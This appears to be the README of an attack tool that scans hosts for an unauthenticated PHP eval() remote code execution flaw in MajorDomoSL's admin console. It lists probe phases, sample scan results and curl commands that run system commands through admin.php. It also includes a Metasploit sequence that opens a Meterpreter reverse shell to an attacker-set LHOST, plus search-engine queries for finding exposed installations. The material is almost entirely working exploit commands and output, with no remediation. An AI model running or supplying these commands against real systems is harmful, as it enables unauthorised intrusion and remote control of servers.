Phase 1 — RCE Confirmation
  └─ Sends: echo 'random_marker';
  └─ Checks: marker is reflected in the response body
  └─ Confirms: eval() is reachable without authentication

Phase 2 — PHP Sandbox Profiling
  └─ Sends: echo 'marker:' . ini_get('disable_functions');
  └─ Extracts: list of disabled PHP functions on the server

Phase 3 — OS Execution Surface
  └─ Probes: system, exec, shell_exec, passthru via function_exists()
  └─ Classifies: impact level as HIGH or MEDIUM

pip install requests

192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted

python3 scan.py targets.txt

[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80

[+] Vulnerable targets exported to results.json

[
    {
        "target": "192.168.1.10:8080",
        "url": "http://192.168.1.10:8080/admin.php",
        "rce_php": true,
        "disable_functions": "popen,pclose,proc_open",
        "system_functions_available": ["system", "exec"],
        "impact_level": "HIGH"
    }
]

curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');

uid=33(www-data) gid=33(www-data) groups=33(www-data)

msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data

title="MajorDomoSL"

http.title:"MajorDomoSL"